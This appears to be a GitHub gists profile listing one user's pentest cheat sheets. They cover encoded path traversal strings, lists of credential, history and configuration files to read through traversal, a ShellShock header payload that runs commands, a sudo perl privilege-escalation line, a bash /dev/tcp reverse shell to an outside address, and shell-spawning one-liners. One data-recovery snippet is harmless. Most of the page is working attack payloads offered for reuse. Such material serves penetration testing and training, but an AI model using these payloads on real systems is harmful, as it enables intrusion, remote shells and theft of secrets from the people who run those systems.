Skip to content

Instantly share code, notes, and snippets.

View SleepyLctl's full-sized avatar

Petr Pospíšil SleepyLctl

9 followers · 21 following
View GitHub Profile
@SleepyLctl
SleepyLctl / Windows Path Traversal Cheatsheet
Last active June 11, 2024 23:29
Encoded Traversal Strings:
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
@SleepyLctl
SleepyLctl / Linux Path Traversal Cheatsheet
Created July 30, 2017 11:03
Encoded Traversal Strings:
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
@SleepyLctl
SleepyLctl / Linux Path Traversal Cheatsheet - HOME dir
Created July 30, 2017 12:45
.aptitude/config
.bash_config
.bash_history
.bash_logout
.bashrc
.cache/notify-osd.log
.config/oDesk/oDesk Team.conf
.cshrc
.gitconfig
.history
@SleepyLctl
SleepyLctl / Path Traversal GARBAGE_ALL Cheatsheet
Created July 30, 2017 12:53
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
@SleepyLctl
SleepyLctl / gist:4a9ea04e17ed102047e3e822b1895d57
Created December 12, 2017 12:50
ShellShock
Injectable: Referer:; User-Agent:; and other Headers
###########################################################
GET /script.sh HTTP/1.0
Host: localhost
User-Agent: () { ignored;};echo -e "Content-Type: text/plain\r\n\r"; /usr/bin/id
###########################################################
@SleepyLctl
SleepyLctl / Linux Privilage Escalation
Created December 12, 2017 14:01
# sudo -l
SUDO PERL
####################################
sudo perl -e "system('/bin/sh')"
@SleepyLctl
SleepyLctl / Linux Data Recovery
Last active December 14, 2017 12:22
Make an image of the device first
#################################
# dd if=/dev/target_partition of=/home/user/partition.image
fdisk -l
# fsck
# strings /dev/sda | grep
@SleepyLctl
SleepyLctl / gist:ef626de347d15fd6353d0ace83351159
Created December 14, 2017 12:38
Reverse Shell
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
@SleepyLctl
SleepyLctl / shells.sh
Last active March 28, 2018 08:43
Reverse Shell
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
@SleepyLctl
SleepyLctl / shell.sh
Created December 14, 2017 14:16
Shell Spawning
Shell Spawning
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'